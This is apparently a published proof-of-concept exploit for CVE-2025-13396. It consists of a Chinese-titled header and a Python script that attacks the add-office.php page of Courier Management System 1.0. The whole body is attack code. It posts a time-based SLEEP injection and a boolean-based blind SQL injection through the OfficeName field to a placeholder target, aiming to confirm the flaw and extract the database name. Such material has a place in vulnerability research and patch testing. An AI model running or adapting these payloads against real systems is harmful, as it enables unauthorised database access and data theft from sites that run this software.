CVE-2025-13396: Courier Management System 1.0 add-office.php SQL注入漏洞

# CVE-2025-13396 SQL Injection PoC # Target: Courier Management System 1.0 # File: /add-office.php # Parameter: OfficeName import requests import sys target_url = "http://target.com/add-office.php" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # SQL Injection payload to extract database version payload = { "OfficeName": "test' AND (SELECT 7747 FROM (SELECT(SLEEP(5)))x)-- -", "submit": "Add Office" } print(f"[*] Sending SQL injection payload to {target_url}") print(f"[*] Payload: {payload['OfficeName']}") try: response = requests.post(target_url, data=payload, headers=headers, timeout=30) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable") except Exception as e: print(f"[!] Error: {e}") # Boolean-based blind SQL injection for data extraction payload2 = { "OfficeName": "test' AND ASCII(SUBSTRING((SELECT database()),1,1))>64-- -", "submit": "Add Office" } print("[*] Testing boolean-based blind SQL injection...") response2 = requests.post(target_url, data=payload2, headers=headers, timeout=30) if response2.status_code == 200: print("[+] Target appears to be vulnerable to SQL injection")